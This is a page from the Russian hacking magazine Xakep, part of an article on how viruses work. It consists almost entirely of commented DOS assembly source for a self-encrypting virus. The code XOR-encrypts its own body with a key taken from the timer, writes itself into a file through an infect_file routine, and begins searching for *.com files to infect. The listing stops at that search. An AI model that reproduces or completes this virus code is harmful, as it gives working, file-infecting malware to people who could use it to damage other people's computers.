Как работают роботы-убийцы

Xakep, номер #042, стр. 042-046-3


;-----------------------------------------------------------------------------------------

virus_size equ 109 ; переменная [длина вируса]

;-----------------------------------------------------------------------------

code segment 'code' ; сегмент кода

assume cs:code,ds:code ;

org 100h ;

;-----------------------------------------------------------------------------

main: ; Начало вирусной программы

call encrypt_decrypt ; Расшифруем вирусный код

jmp random_mutation ; Перейдем на метку мутации

encrypt_val db 00h ; Переменная [шифрующий/расшифрующий ключ]

;------------------------------------------------------------------------

infect_file:

mov bx,handle ; Возьмем хэндл файла

push bx ; Положим его в стэк

call encrypt_decrypt ; Зашифруем большую часть вирусного кода

pop bx ; Восстановим хэндл

mov cx,virus_size ; Количество байт для записи

mov dx,100h ; Откуда начинать переписывать

mov ah,40h ; Дос функция записи в файл

int 21h ;

call encrypt_decrypt ; Зашифруем код (таким, каким он был)

ret ; Вернемся туда, откуда нас вызвали

; --------------- Функция шифровки/расшифровки ----------------

encrypt_decrypt:

lea bx,virus_code ; С какого места шифруем вирус

xor_loop: ; начало криптования здесь

mov ah,[bx] ; Берем текущий байт

xor ah,encrypt_val ; преобразуем его операцией xor по ключу

mov [bx],ah ; И кладем криптованный/декриптованный байт на место

inc bx ; Переходим к следующему байту

cmp bx,offset virus_code+virus_size; Мы достигли конца файла?

jle xor_loop ; Если нет, то шифруем дальше

ret ; Если до, то вернемся туда, откуда нас вызывали

;-----------------------------------------------------------------------

virus_code:

;------------------------------------------------------------------------------

random_mutation: ;

mov ah,2ch ; Возьмем по таймеру значение

int 21h

mov encrypt_val,dl ; Присвоим это случайное значение ключу

;------------------------------------------------------------------------------

find_com:

xor cx,cx

lea dx,fmask ; Найдем файл по маске *.com

mov ah,4eh ;

int 21h

Назад на стр. 042-046-2  Содержание  Вперед на стр. 042-046-4